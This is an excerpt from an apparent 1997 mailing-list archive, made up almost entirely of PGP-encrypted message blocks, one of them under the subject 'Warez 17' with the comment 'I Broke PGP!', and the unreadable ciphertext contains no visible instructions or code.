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
6y+HpeoeJqqt4tkJgS8v8zcEkVnYCMszDmLRcxE=
=Zf1V
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:41:53 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:41:53 +0800
Subject: Warez 17
Message-ID: <199712180833.AAA16165@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
